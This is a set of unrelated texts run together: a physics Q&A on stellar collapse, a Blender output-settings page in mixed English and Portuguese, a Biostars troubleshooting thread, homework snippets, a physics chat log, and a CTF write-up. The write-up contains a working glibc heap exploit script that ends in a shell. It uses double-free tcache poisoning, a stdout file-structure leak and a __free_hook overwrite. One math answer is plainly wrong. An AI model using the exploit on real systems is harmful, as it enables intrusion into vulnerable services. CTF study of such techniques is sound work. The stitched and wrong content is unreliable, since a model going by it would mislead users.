travel if you undergo no acceleration. At the event horizon, there are no geodesics that more away from the singularity. So even light "stands still". The light cones are tilted. This tilting isn't the same as acceleration. It's something different entirely. This is truly strange, and it's what happens between different gravitational potentials. - Since every particle attracts all other particles, there is a net force directed towards the center of the star (or any object), for any particle not at the center. Therefore, the particles will move towards the center (collapse), unless some opposing force prevents it. In the case of a star, the kinetic energy of the particles creates the opposing force, until the energy "runs out" and the collapse fallows. - what causes the star to collapse is pressure. what causes the pressure is gravity, but even though the strength of the gravitational field in the center of the star is zero, the pressure at the center of a star sure-as-hell ain't zero. - This is laughably false. Pressure pushes outwards. – user54609 Feb 8 '14 at 20:31 The weight of the overlying material creates the pressure, but if you want to credit the pressure for a role in the dynamics of the star that role is supporting the outer layers. – dmckee Feb 8 '14 at 23:30 um, @user54609, pressure in a fluid pushes in all directions. inwards, outwards, sideways, whatever. and dmckee is correct that it's the weight of the overlying material that creates the pressure. and if the pressure gets unbelievably intense, interesting things might happen to atoms in the material. – robert bristow-johnson Feb 9 '14 at 0:37 But the fact is that the higher the pressure, the less likely the star collapses. The reason why the balloon collapses when you break it is because when you break it, the pressure goes away. The lack of pressure causes gravity (in the star) or the springiness of the balloon to take over and make the thing collapse. – user54609 Feb 9 '14 at 18:46 This answer is highly relevant in the case of black holes. In General Relativity, the pressure of the gas contributes to the curvature of space-time and means that in GR a larger pressure gradient is required to support a given star. Ultimately this is why black holes exist, because there is no way to can keep ramping up the pressure gradient inside the star without increasing the pressure at its centre and therefore increasing the required pressure gradient and so on... So, whilst most of the comments here are true for "normal" stars they are not in the field of neutron stars/BHs. – Rob Jeffries Mar 30 '14 at 9:33 ## protected by Qmechanic♦Feb 8 '14 at 20:31 Thank you for your interest in this question. Because it has attracted low-quality or spam answers that had to be removed, posting an answer now requires 10 reputation on this site (the association bonus does not count).	{}
Tags: blind pwn heap-feng-shui file_structure Rating: # X-MAS CTF 2019 - Blindfolded (pwn) 21 December 2019 by MMunier ![Challenge Description](Blindfolded/Blindfolded-Desc.png) [folder](Blindfolded/public) ## General Overview Blindfolded was a pwn challenge in this years (2019) X-MAS CTF. It was also the first challenge I tried and solved over the course of this CTF. As it correctly states heap-challenge binaries are completely useless. That's why all it provided was this [Dockerfile](Blindfolded/public/Dockerfile): Dockerfile FROM Ubuntu:18.04 # [REDACTED] Frankly as soon as I read that I was hooked, since I've rarely/never seen such a pwn challenge without the binary provided. However as anyone who has experience in heap-exploitation can/will tell you this Dockerfile itself is already a great hint. (We'll come back to that later) ## Playing with the service The service itself seemed like your standard note taking service and the author made it pretty self aware about that. ![Challenge Description](Blindfolded/Blindfolded-Banner.png) Judging by the menu labels one could quickly assume which option corresponded to which heap operation. 1. New => malloc 2. Delete => free 3. Exit 4. Realloc => realloc (duh!) This was one of those binaries that never prints any user input. This reminds me of a libc-leak-vector which comes afaik from @angelboy as well as his challenge Baby_Tcache originally from HITCON CTF 2018 with [this writeup by bi0s](https://vigneshsrao.github.io/babytcache/) being a great resource for it.\ This is partially confirmed by the Dockerfile since Ubuntu:18.04 provides glibc version 2.27 -- the same as baby_tcache. ### Creating a note Upon creating a new Note you could specify an index and the size of the allocation. It lets you write arbitrary content afterwards but as far as I could tell one could not write OOB. ![Challenge Description](Blindfolded/Blindfolded-malloc.png) The index was bound between 0 and 9 which lead me to believe that the returned pointers were stored into some kind of global array that only had 10 slots. You also couldn't allocate over a slot that was alreadly used. The size of the allocations it would allow were also capped at some value but I never bothered to figure out what exactly it was. I just knew it was somewhere between 0x100 and 0x400. All in all allocations of an arbitrary size and content are already quite a powerful primitive, however no vulnerability was found in this part of the binary. ### Deleting notes As expected the vulnerability was in the deleting option. Similarly to the guessed array indices creating the notes deleting a Note required an index too. ![Challenge Description](Blindfolded/Blindfolded-free.png) However just deleting an entry that doesn't exist works perfectly fine and still decreases the counter. Since it was hinted that the vulnerability should be pretty obvious I deemed that this was probably an unchecked free. Using that upon a real allocation you would have a double free which is a heap corruption that is definetly exploitable, especially in this version of libc (2.27) with basically unchecked Tcaches. \ (If I am losing you already, you'll probably need to read up a bit of background info first (or later) like [glibc heap implementation by azeria-labs](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)) ### Realloc and Exit For completeness sake I'll also include realloc and exit in this writeup, even though they weren't strictly necessary. Exit is probably self-explanatory as it does exactly what it says. Realloc on the other hand was a bit of a weird addition. I'll give you only one chance... But first, let me clean the stack a little bit... Done! It tells you something like that to realloc a single buffer and lets you also call it only one time. Afterwards it only tells you: "No, no, no. I told you that's forbidden and I already made an exception once." To this date I still haven't figured out why this addition was made and I'd like to find out -- "but in the end it doesn't really matter ". ¯\\_(ツ)_/¯ (If you know write me (@_mmunier) on twitter although im not really active there) ## Rebuilding the binary As I deemed it pretty unlikely to be able to exploit it completely blind i tried to rebuild the essential features of the binary. Based on my above mentioned observations this is what I came up with. c #include <stdlib.h> #include <stdio.h> #include <unistd.h> char banner[] = "Are you ready for another heap challenge?"; char menu[] = "Space %d/10\n1. New\n2. Delete\n3. Exit\n1337. Realloc\n> "; char input_buf[100]; int space = 0; char* arr[10]; int do_malloc(){ int idx, sz; printf("idx: "); scanf("%d", &idx); getchar(); printf("sz: "); scanf("%d", &sz); getchar(); if ((space < 10) & (idx < 10) & (idx >= 0)){ arr[idx] = (char ) malloc(sz); printf("data: "); space++; puts("Created"); } else { puts("NO JUST NO STAHP!"); } } int do_free(){ int idx, sz; printf("idx: "); scanf("%d", &idx); getchar(); if ((space < 10) & (idx < 10) & (idx >= 0)){ free(arr[idx]); space--; puts("Deleted"); } else { puts("NO JUST NO STAHP!"); } } int do_realloc(){ int idx, sz; printf("idx: "); scanf("%d", &idx); getchar(); printf("sz: "); scanf("%d", &sz); getchar(); if ((space < 10) & (idx < 10) & (idx >= 0)){ arr[idx] = realloc(arr[idx], sz); printf("data: "); space++; puts("Created"); } else { puts("NO JUST NO STAHP!"); } } int main(){ int choice; setvbuf(stdin, NULL, _IONBF, 1); setvbuf(stdout, NULL, _IONBF, 1); puts(banner); while (1) { scanf("%d", &choice); getchar(); switch (choice) { case 1: do_malloc(); break; case 2: do_free(); break; case 3: exit(0); break; case 1337: do_realloc(); break; default: break; } } } As you can probably tell non-essential featues were not followed too closely by me. ^^ ## The Exploit The unchecked deletions result in double frees, which can be used to force malloc returning Pointers into arbitrary locations. This is done via repeatedly freeing the same pointer and then overwriting the fwd pointer of this tcache-bin (beause of the double free that's still in it) to return a chunk in a location chosen by us. [Demo by shellphish/how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/tcache_poisoning.c) \ However since we have no info leak over the binary, heap, stack or libc (in hindsight I should've checked if the binary even had PIE enabled), it doesn't let us hijack the controlflow immediately. With PIE and RELRO not fully enabled it might have been possible to overwrite the GOT of the binary directly, however I never followed that idea to its conclusion. Lets say we have a pointer into the libc on our heap. If the difference between it and the _IO_2_1_stdout_-Structure is small enough we can partially overwrite it to point there without much bruteforce, even if ASLR is enabled. Overwriting the stdout-Structure with specific junk seen in [slides 62+](https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique) or copied directly from [here](https://vigneshsrao.github.io/babytcache/), leads it to believe that it's buffer is filled with stuff from the bss-section of libc and thus prints our enlarged buffer upon the next invocation of puts/printf ...\ Which is how we leak our libc. Now the question at hand is how do we get this libc-pointer and how do we allocate a chunk there. If you've read the Background Info you know that Tcache-Chunks only have a forward pointer to the next free item on their bin. In contrast to that both the first and the last chunks of "regular" bins (that meaning small, large and unsorted) are equipped with a pointer towards the main_arena* which is the centralized heap management structure in the libc. It has a distance of about 0x4000 (I can't remember and I'm to lazy to check) bytes to the stdout-Structure. ASLR only randomizes addresses at page boundaries so the interval between possible positions is 0x1000, meaning the last three nibbles of the address are static. So once we have this pointer we can successfully exploit it with a 1 in 16 chance. A little clarification: You have a 1 in 16 chance to overwrite a pointer to a chosen location for all distances between 0x100 and 0xF000. That happens because you are always forced to overwrite the second least significant byte of the address. As written 1 nibble (1 hex number) of this byte is random as long as ASLR is enabled, resulting in you guessing it correctly 1 out of 16 times. Still leaves the main problem of forcing a chunk into a regular bin.\ The easiest way is to free a chunk of more than 0x410 bytes since Tcaches won't cover them, however as we can't allocate anything that large it doesn't work. (I lied to you earlier that this was the point where I found the size limitation)\ Luckily there is another way.\ Tcache-bins are capped at 7 free chunks. If we free more than that all further freed chunks go either into the corresponding fastbin or the unsorted bin. Leaving us with our much desired fwd-pointer. With all of that said we can now finally go over the [exploit](Blindfolded/Blindfold_ex.py).\ You can skip the first block if you want, since it is mainly pwntools setup code and some helper functions defined by me. python #!/usr/bin/env python2 # -- coding: utf-8 -- # This exploit template was generated via: # \$ pwn template --host challs.xmas.htsp.ro --port 12004 a.out from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF('a.out') libc = ELF("libc-2.27.so") # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or 'challs.xmas.htsp.ro' port = int(args.PORT or 12004) def local(argv=[], a, kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, a, *kw) else: return process([exe.path] + argv, a, *kw) def remote(argv=[], a, *kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], a, *kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, a, *kw) else: return remote(argv, a, *kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' #break 0x{exe.symbols.main:x} continue '''.format(*locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled # Helper functions def do_malloc(idx, sz, text, wait=True): io.sendline("1") io.sendline(str(idx)) io.sendline(str(sz)) io.send(text) if wait: def do_free(idx, wait=True): io.sendline("2") io.sendline(str(idx)) if wait: def realloc(idx, sz, text, wait=True): io.sendline("3") io.sendline(str(idx)) io.sendline(str(sz)) io.send(text) if wait: GDB_OPT = args.GDB args.GDB = False Were looping here since as I've explained above this only has a 1 in 16 chance of success. python while True: try: io = start() # Crafting & Overwriting libc-pointer do_malloc(0, 0x60, "a") # soon to be corrupted chunk do_malloc(8, 0x100, "a") # "large chunk" do_malloc(9, 0x20, "Blocker\n") # preventing top-chunk consolidation for i in range(8): do_free(8) # filling the Tcache 0x110 freelist and putting it into unsorted # thus getting a libc pointer io.info("Chunk in unsorted") do_free(0) # Triple free do_free(0) do_free(0) do_malloc(0, 0x60, "\xd0") # Target address (address of the unsorted bin chunk) do_malloc(1, 0x60, "Hallo") # Popping chunk from freelist do_malloc(2, 0x60, "\x60\x57") # overwriting the 2 least significant bytes of the libc address # Now allocating a fake chunk at target address do_free(1) # Same as above do_free(1) do_free(1) do_malloc(1, 0x60, "\xd0") # LSB OF unsorted bin chunk do_malloc(3, 0x60, "Hallo2") # BURN do_malloc(4, 0x60, "\x60\x57") # BURN AGAIN # At this point our crafted address is the next chunk to be returned by malloc leak = do_malloc(5, 0x60, payload) # overwriting stdio with junk if len(leak) > 200: break io.close() except: io.close() pass if GDB_OPT: gdb.attach(io) # At this point we've leaked the address of libc io.info(" ========== LEAK ==========\n" + leak) io.info("(Hex : " + leak.encode("hex") + ")") libc_base = u64(leak[8:16]) - 0x3ed8b0 io.info(hex(libc_base)) Now the part that I've thoroughly explained is over. But now hijacking the control-flow is straightforward. On every invocation of free it internally calls the \__free_hook* with the chunk as its first argument. With our arbitrary allocations we force malloc to return us a chunk there and overwrite it with either a gadget or with the address of system and the program we want to execute ("/bin/sh") as its argument (the chunk we free). python # now we'll overwrite the free_hook with system io.info("Calculating offsets:") do_free(9) # I guess you've seen this before do_free(9) do_free(9) do_malloc(6, 0x20, "/bin/sh\n\0") # argument to be called by system do_malloc(7, 0x20, p64(libc.sym.system)) # free_hook points now to system do_free(6, wait=False) # invoking it with /bin/sh # we should have a shell after here io.interactive() At this point we've got a shell and can just cat the flag. X-MAS{1_c4n'7_533_my_h34p_w17h0u7_y0000u} I also got the [original](Blindfolded/private/real_src.c) source code from there if you want to compare it to [mine](Blindfolded/challenge_guessed.c). All in all a really cool challenge that once again shows that "heap binaries are useless". Lastly for debugging stuff like this exploit I can't recommend gef's heap functions enough, especially "heap bins", since they are an immense help when debugging exploits like this. -- MMunier Original writeup (https://github.com/ENOFLAG/writeups/blob/master/X-MASctf2019/Blindfolded.md).	{}
# Output Settings¶ The first step in the rendering process is to determine and set the output settings. This includes render size, frame rate, pixel aspect ratio, output location, and file type. ## Painel dimensões¶ Dimensions panel. Predefinições de renderização Opções de predefinições de formatos comuns para TVs e telas. Resolução X/Y O número de pixeis horizontalmente e verticalmente na imagem. Porcentagem Um deslizador numérico para aumentar ou decrescer o tamanho da imagem renderizada relativamente aos valores presentes em X e Y descritos acima. Isto é útil para pequenos testes de renderização que possuem as mesmas proporções da imagem final. Proporção de aspecto Televisores mais antigos podem ter pixeis que não são quadrados, portanto, isto pode ser usado para controlar o formato dos pixeis ao longo dos respectivos eixos. Isto irá fazer uma pré-distorção nas imagens, que parecerão mais esticadas em uma tela de computador, mas que serão mostradas de maneira correta em uma tela de TV mais antiga (CRTs). É importante que vocẽ utilize a proporção de aspecto correta quando for renderizar para evitar o re-escalonamento, resultando em qualidades de imagens mais baixas. See Video Output for details on pixel aspect ratio. Render Region Renders just a portion of the view instead of the entire frame. See the Render Region documentation to see how to define the size of the render region. Nota This disables the Save Buffers option in the Performance panel. Crop Render Region Crops the rendered image to the size of the render region, instead of rendering a transparent background around it. Set the Start and End frames for Rendering Animations. Step controls the number of frames to advance by for each frame in the timeline. For an Animation the frame rate is how many frames will be displayed per second. Remapeamento de tempo Usado para remapear o comprimento de uma animação. ## Painel Saída¶ O painel Saída. This panel provides options for setting the location of rendered frames for animations, and the quality of the saved images. Caminho de arquivo Choose the location to save rendered frames. When rendering an animation, the frame number is appended at the end of the file name with four padded zeros (e.g. image0001.png). You can set a custom padding size by adding the appropriate number of # anywhere in the file name (e.g. image_##_test.png translates to image_01_test.png). This setting expands Relative Paths where a // prefix represents the directory of the current blend-file. Sobrescrever Sobrescreve os arquivos existentes durante a renderização. Substitutivos Create empty placeholder frames while rendering. Extensões de arquivo Adds the correct file extensions per file type to the output files. Saves the rendered image and passes to a multi-layer EXR file in temporary location on your hard drive. This allows the Compositor to read these to improve the performance, especially for heavy compositing. File Format Choose the file format to save to. Based on which format is used, other options such as channels, bit depth and compression level are available. For rendering out to images see: saving images, for rendering to videos see rendering to videos. Modo de cor Choose the color format to save the image to. Note that RGBA will not be available for all image formats. BW, RGB, RGBA Dica Primitive Render Farm An easy way to get multiple machines to share the rendering workload is to: • Set up a shared directory over a network file system. • Disable Overwrite, enable Placeholders in the Render Output panel. • Start as many machines as you wish rendering to that directory. ## Post Processing Panel¶ Reference Panel Properties editor ‣ Output ‣ Post Processing The Post Processing panel is used to control different options used to process your image after rendering. Post Processing panel. Sequencer Renders the output of the Video Sequence editor, instead of the view from the 3D scene’s active camera. If the sequence contains scene strips, these will also be rendered as part of the pipeline. If Compositing is also enabled, the Scene strip will be the output of the Compositor. Compositing Renders the output from the compositing node setup, and then pumps all images through the Composite node tree, displaying the image fed to the Composite Output node. ## Dithering¶ Dithering is a technique for blurring pixels to prevent banding that is seen in areas of gradients, where stair-stepping appears between colors. Banding artifacts are more noticeable when gradients are longer, or less steep. Dithering was developed for graphics with low bit depths, meaning they had a limited range of possible colors. Dithering works by taking pixel values and comparing them with a threshold and neighboring pixels then does calculations to generate the appropriate color. Dithering creates the perceived effect of a larger color palette by creating a sort of visual color mixing. For example, if you take a grid and distribute red and yellow pixels evenly across it, the image would appear to be orange. The Dither value ranges from 0 to 2.	{}
Picardtools Output of CollectRNAMetrices 1 0 Entering edit mode 6.4 years ago Biocode_user ▴ 30 Hello, I am using picard-tools CollectRNAMetrices to get the read statistics of mapping to exons, and UTRs etc. I am using java -jar /software/shared/apps/x86_64/picard-tools/1.129/picard.jar CollectRnaSeqMetrics REF_FLAT=formatted_chrALL.refflat2 STRAND_SPECIFICITY=NONE INPUT=out.prefix.bam OUTPUT=RNAMetrices.out and the reflat file looks like Ec-00_000010 Ec-00_000010 chr_00 - 149 6731 149 6731 10 149,897,1535,2091,2535,3474,4006,4702,6245,6709, 428,1100,1674,2268,3070,3557,4155,4968,6363,6731, Ec-00_000020 Ec-00_000020 chr_00 - 28572 29122 28572 29122 2 28572,28937, 28582,29122, Ec-00_000030 Ec-00_000030 chr_00 + 29412 32214 29412 32214 1 29412, 32214, Ec-00_000040 Ec-00_000040 chr_00 + 34287 34360 34287 34360 1 34287, 34360, Ec-00_000050 Ec-00_000050 chr_00 - 36705 39329 36705 37902 3 36705,37422,39143, 36870,37944,39329, Ec-00_000060 Ec-00_000060 chr_00 + 43007 44099 43007 44099 3 43007,43404,43829, 43046,43455,44099, Ec-00_000070 Ec-00_000070 chr_00 + 54394 60308 54394 60255 6 54394,54969,55586,56305,57343,59928, 54448,55047,55672,56473,57542,60308, Ec-00_000080 Ec-00_000080 chr_00 - 109869 113579 110071 113077 8 109869,110666,110999,111347,111759,111995,112509,112990, 110443,110759,111151,111504,111818,112233,112557,113579, Ec-00_000090 Ec-00_000090 chr_00 - 129160 133715 129160 133650 8 129160,129561,130334,131503,131773,132036,132595,132961, 129285,129703,130418,131581,131848,132102,132638,133715, Ec-00_000100 Ec-00_000100 chr_00 + 144813 144981 144813 144981 1 144813, 144981, But I keep getting an output like ## htsjdk.samtools.metrics.StringHeader # picard.analysis.CollectRnaSeqMetrics REF_FLAT=formatted_chrALL.refflat2 STRAND_SPECIFICITY=NONE INPUT=out.prefix.bam OUTPUT=RNAMetrices.out MINIMUM_LENGTH=500 RRNA_FRAGMENT_PERCENTAGE=0.8 METRIC_ACCUMULATION_LEVEL=[ALL_READS] ASSUME_SORTED=true STOP_AFTER=0 VERBOSITY=INFO QUIET=false VALIDATION_STRINGENCY=STRICT COMPRESSION_LEVEL=5 MAX_RECORDS_IN_RAM=500000 CREATE_INDEX=false CREATE_MD5_FILE=false # Started on: Wed Feb 03 16:30:29 CET 2016 ## METRICS CLASS picard.analysis.RnaSeqMetrics 5159550200 4343544551 0 0 0 4343544551 0 0 0 0 0 0 1 0 0 0 0 0 0 0 I am sure my reads are mapped to exons as well. Could anyone have any idea what could be going wrong? RNA-Seq • 2.6k views 0 Entering edit mode Please post the output of samtools view -H [your BAM file] 0 Entering edit mode for that the output looks like @HD VN:1.0 SO:coordinate @SQ SN:Ec-00_000010 LN:1971 @SQ SN:Ec-00_000020 LN:195 @SQ SN:Ec-00_000030 LN:2802 @SQ SN:Ec-00_000050 LN:871 @SQ SN:Ec-00_000060 LN:360 @SQ SN:Ec-00_000070 LN:964 @SQ SN:Ec-00_000080 LN:1908 @SQ SN:Ec-00_000090 LN:1366 @SQ SN:Ec-00_000100 LN:168 And this is the same chromosome id in my refflat file too 0 Entering edit mode 6.4 years ago Dan D 7.3k The refFlat format specifies that the first two columns are for two types of gene names, while the third is for the chromosome/contig name. In your refFlat file, the contig names (chr_00, for example) don't match the contig names shown in the header of your BAM file. The entries in the first two columns of your refFlat file match them exactly, though. You might have another problem in that the lengths of your contigs as shown in the header of the BAM file are shorter than the transcription start and stop locations in your refFlat file seem to indicate. 0 Entering edit mode Hello Dan, I just formatted the reflat file and the third column matches exactly as the contig name in bam file. But stil I get the same results. How will the length of the contigs screwing up the calculation? I did not understand your comment on that? 0 Entering edit mode If you look at the output of the samtools view command I requested you to execute, you'll see several lines that start with @SQ. The LN: value at the end of each of those lines specifies the length of the contig in the reference file that was used for the creation of the BAM. Based on this, the longest contig in your reference is 2,802 bases. Now check out your refFlat file. Look at columns 5 through 8. These are the coding start/end locations for the genes. Notice that these locations are well outside the length of you reference contigs. It doesn't seem like the refFlat file matches the reference you used.	{}
ganolrifv9 2022-07-25 What is the logarithm of 232 feet and 4 inches ? Dominique Ferrell Expert The negative sign means to put the expression into the denominator which would give: $1/\left({232}^{4}\right)$ Which gives 1/2897022976 Do you have a similar question?	{}
## College Algebra (6th Edition) $\frac{x^{2}}{15}$ $\frac{x}{5}*\frac{x}{3}=\frac{x^{2}}{15}$ This concept is further discussed on page 78.	{}
5:00 PM No plates? No, the plates still are the full set from when I moved out. Anonymous I normally do use ceramic plates at home. But I guess the widespread usage of metal plates here, is due to the fact that they're cheap and easy to maintain. Also, dishwashers are quite rare over here. Not even a chip? @Sid yes, but usually I use a dishwasher. Anonymous So, you use a dishwasher and then say that you've never seen plates break during washing? That's quite obvious , you know. 5:04 PM @Blue I don't think there's anything wrong with using metal plates, but I'm skeptical about the practical advantage - I wouldn't have expected metal to be cheaper than ceramic since it has to be quality steel (right?) and I'm not sure how ceramic would be harder to "maintain" Anonymous @ACuriousMind Uh, no. They're not really made of "quality steel". They use cheap metal plates in the local shops Anonymous Like Rs. 10 or Rs. 20 for a small metal plate Anonymous Very cheap But what are they made of, then? You can't use something like nickel or copper since that would get into the food (right? Please tell me these don't poison your food...) Ceramic tends to chip. Like glass. 5:06 PM @ACuriousMind mild steel typically And I guess copper is not all that cheap, either... @Blue I said I usually use one. And I suspect you underappreciate how chep it is to hammer a disk of mild steel into something vaguely plate shaped. @JohnRennie So they rust? @ACuriousMind not if washed then dried Cast iron pans are widely used in the west ... 5:08 PM @JohnRennie But they're coated/seasoned - you don't actually get the iron exposed to anything if you're doing it right I'm just skeptical this is in any way easier than using ceramic plates that don't corrode at all, but if the plates are made of cheap steel then I can see the price argument Hi @JohnRennie ! Do you know what was the need of shell theorem when we already had the concept of centre of mass? @ACuriousMind I think you're over analysing this. Mild steel is dirt cheap, unbreakable, and doesn't rust if properly treated. @Abcd Newton's shell theorem? Yes. The shell theorem and the concept of centre of mass are different. Objects that aren't spherically symmetric do not behave like point masses at their centre of mass. Acc. (according) to both we can treat the shell as a particle with its mass concentrated at its centre (of mass). 5:12 PM That applies only to spherically symmetric objects. @JohnRennie I guess I'm trying to understand why we'd use ceramic plates if there's no disadvantage to using steel ones. Is this purely cultural? @ACuriousMind I don't know ... Ask on the Anthropology Stack Exchange? :-) Some clues here. As always, how reliable these results are is debatable. @JohnRennie Doesn't seem to exist, and the area 51 proposal that once existed is deleted :P 5:18 PM Anonymous @ACuriousMind Yeah, that conductivity is a point too. When you have very hot rice just out of the pressure cooker, you'd want it to cool down fast. :) Huh, it appears ancient India has long been a major center of steel production, which might explain a traditional inclination to produce household items from it Whereas the Europeans only caught on later and tended to not make anything out of steel where it didn't provide a significant improvement, I guess? I only heard the other year that the Iron pillar of Delhi is highly resistant to rust, its been there since the 3 or forth century CE. @ACuriousMind do physicians have a special word for functions in the kernel of the Hamiltonian? 5:33 PM @0celo7 I don't think physicians know what a Hamiltonian even is @ACuriousMind someone who does physics Physiker Anonymous @ACuriousMind In early and medieval Europe ceramics were very popular, from what I know. Similar in China. So probably the tradition has just continued When I hear kernel I usually think of group theory these days, ie taking the kernal of a group morphism; theres kernels in integral equations too. Anonymous @MoziburUllah True, that's a good example 5:37 PM I can't say I've heard of a kernel of a Hamiltonian - whats a good example? @MoziburUllah anything with zero energy the Hamiltonian is a linear operator so it has a (possibly trivial) kernel @0celo7 I don't think there's a special word for that since most will also tell you that you can add arbitrary constants to the Hamiltonian without changing the physics @ACuriousMind but that radically changes the mathematics >:( @curiousmind: aren't there also terms that you can add that points to a theory being formulated as a gauge theory? right now I'm thinking about dubbing them $L$-harmonic functions 5:39 PM @curiousmind: what do you think of the Ahranov-Bohm effect thats supposed to show the existence of a gauge potential as being fundamental rather than the E & B fields? If I have that right. or maybe Schr\"odinger-harmonic? That's too wordy @MoziburUllah Yes, you can introduce gauge-fixing terms into gauge theories, but that's not really the best indication that you have a gauge theory on your hands - the clearest indication is the solutions to the equations of motion being non-unique. What was his suggestion? "function in the kernel of blah blah" I just want a catchy phrase 5:46 PM @MoziburUllah I think it shows less than is commonly claimed - since it doesn't indicate the importance of $A$ itself but merely of line integrals of it over closed curves, which is the flux through the area bounded by such a line - but together with the fact that a least action formulation in terms of $E$ and $B$ instead of $A$ is very ugly and infeasible I think it's enough to show that we should think in terms of $A$, even if we don't, strictly speaking, need to. It took me a while to understand that taking a local section of a bundle was what tied it to the physicsist description. Maths'n'physics - its like learning two languages... when it ought to be just the one ;). oh god no it would ruin math @oolb: !ollb ereht ih and physics @ocelo7: c'mon, calculus was invented for physics! 5:51 PM @ACuriousMind Now that I just had my dinner, I think it is due to the fact that Indian cuisines are more "wet" and varied that we use metal trays rather than ceramic plate @MoziburUllah and we had to fix calculus in the 1800s physics is more edgy though i feel that's why i like it @ooolb: that was 'hi there blooo' backwards. Math needs physics ideas but certainly not the physics language. @0celo7 let's all agree that physics has the best notation in any field ever. 5:52 PM No, what a ridiculous notion. Anonymous Math is useless it is used in physics or engineering or computer science :P Physics notation is so scattered and inconsistent that your claim doesn't even make sense. maybe two languages are good because they let us look at something in more than one way. @MoziburUllah Exactly. Again disagreeing with well-established famous mathematicians/physicists there Oce quantamagazine.org/… 5:54 PM having said that, look at what happening in the 70s - gauge theory and bundle theory were found to be the same thing described differently! @bolbteppa Unless you give me a quote I'll ignore you as usual It also means having to learn two languages. @0celo7 that's cold My loss ice cold i like it 5:55 PM @Kaumudi.H: Hi, hows the exams going? Physics notation being sloppy is just a recognition of the fact you're supposed to know what they mean and are not able to keep up :p Things have to sloppy before they can get rigorous.. @0celo7 @bolbteppa "Minhyong Kim wanted to make sure he had concrete results in number theory before he admitted that his ideas were inspired by physics." @ooolb bolbteppa is incapable of actually reading or understanding anything I write. That quote is directly supporting my point. Mathematicians can be sloppy too. Look at algebraic geometry in the 1920s and look at it now. No it scares people... Now... 5:57 PM @0celo7 when tsundere goes yandere Algebraic geometry was also boring back then, and now so abstract that it's boring again! that's a good name for that article 'Math needs physics ideas but certainly not the physics language' so the guy thought it up using physics ideas, but not using the language, makes no sense, you are saying the language he used to think it up is irrelevant when he needed that language to even think it up, it's a ridiculous thought NB flags are for posts that are seriously offensive. That's seriously offensive. @JohnRennie Was I flagged? 5:58 PM It's just insulting physics while complementing it at the same time on the same point Please don't use them for posts that are merely mildly annoying. Its a love/hate relationship... I love physics, but I'm not too keen on the people doing it :P what is going on here If they have different languages how are they going to understand each other... 5:59 PM Apparently there are flags. I like flags. @0celo7 once you get used to the notation and can keep up you'll like them a lot better ;) What was flagged? Nothing was flagged. I just like flags - real ones you can wave and watch them flutter in the wind. @MoziburUllah it's the same language, e.g. tensors is a great example, old notation vs. linear algebra notation, same thing though people seem not to see it and really get angry at the old way 6:01 PM Ugh, I refuse to talk about tensors again Minhyong Kim is a pretty cool guy. What did he do @BalarkaSen top 10 anime confessions Physicists have this fascination with them. They're just multilinear maps -- stop circlehecking over them. Tensors are fine things even better than vectors. apparently spinors are tensor densities, I just find that fascinating 6:02 PM Spinors are square roots of vectors <-- cryptic statement of the century @0celo7 Yeah I am not sure why they are excited by it. It's the most natural thing ever. I thought spinors were group reps from a universal cover? There's not much bragging rights in being invariant under coordinate changes Quantum mechanics is the square root of probability! spinors are also projective representations (i.e. fake reps), as well as reps of a double cover, etc... lots of craziness 6:03 PM @MoziburUllah They are. But @bolbteppa loves to post these ridiculously vague "eureka moments" about math he doesn't understand. I was just mocking him. The reason I post is because I don't understand fully obviously Thats the thing about the net - you can't hear peoples tone of voice... @MoziburUllah Poe's law. It's sheerly crazy how complicated spinors are @MoziburUllah hi curious what your Msc physics is on 6:04 PM @bolbteppa I agree with you there. @MoziburUllah i use small letters when i am in a memetic mode @vzn: it was in two parts - differential geometry and TQFTs. and that square root thing from Atiyah, 'spinors are the square root of geometry', is not helpful @BalarkaSen What Are You Trying To Say? Oh dude TQFTs are cool 6:04 PM Is gravitational field zero anywhere inside the earth or only at the centre of the earth? I don't know much about them but it feels quite fascinating @Abcd I think the shell theorem says it's zero everywhere inside, no? Oh nvm that's for a hollow planet. @BalarkaSen: I found them fascinating too ;). @Abcd only at the centre @JohnRennie Okay, thanks. I got confused. I hope shell $=$ hollow sphere. 6:07 PM @JohnRennie So I had a discussion with a British prof of mine, he said that one should use a z for "realize" because it's closer to the original Greek. @MoziburUllah I learnt them from Lurie's Cobordism Hypothesis paper It was very exciting And that there's a section of British academia who use z over s in such words. @BalarkaSen: but I kinda felt I was missing the real physics - which was frustrating; my background is in maths. @BalarkaSen: It was reading John Baez TWFs that got me into them. Ah yes I must say I don't know the physical foundations for them @0celo7 it can be entertaining to argue about such things, but at the end of the day it is roughly as productive as self abuse and less fun. 7 6:08 PM lmao @JohnRennie He also said that "color" is correct, but "neighborhood" is not. It's very confusing. The English language is a bastard mongrel of a language @0celo7 as opposed to colour? @ooolb Yes. Linguists apparently say everybody is right, it's completely random, no rules, depends on consensus 6:10 PM @MoziburUllah Good to hear you're a math undergrad. zzz We'll have some interesting discussions probably People argue about which words have come from what source and therefore how they ought to be written and pronounced, but ultimately no-one cares. @BalarkaSen holonomic approx.? @BalarkaSen: Thanks. @BalarkaSen: is your background in maths or physics? 6:11 PM Balarka is 13 @0celo7 He's 17 if I am not wrong. coming from ooolb that would be 31! @0celo7 Not right now. I have some work I should get done It's amazing trying to read math in another language and using some of the tricks that exist which really work to help you understand the meaning of words by deconstructing them, stunning how far you can go e.g. throw away the vowels Arabic and txtng throws away vowels. 6:14 PM lol "txtng" i don't think that pun was intended. but i'll take it I was always a fan of the story "MS Fnd In A Lbry" Is that a real story? Yup Look it up, it's a very nice little story I will! 6:16 PM Because so many words were inherited in languages like French and English from some old languages, and also because a lot of words in math/physics were taken from Latin/Greek, means a huge proportion of words 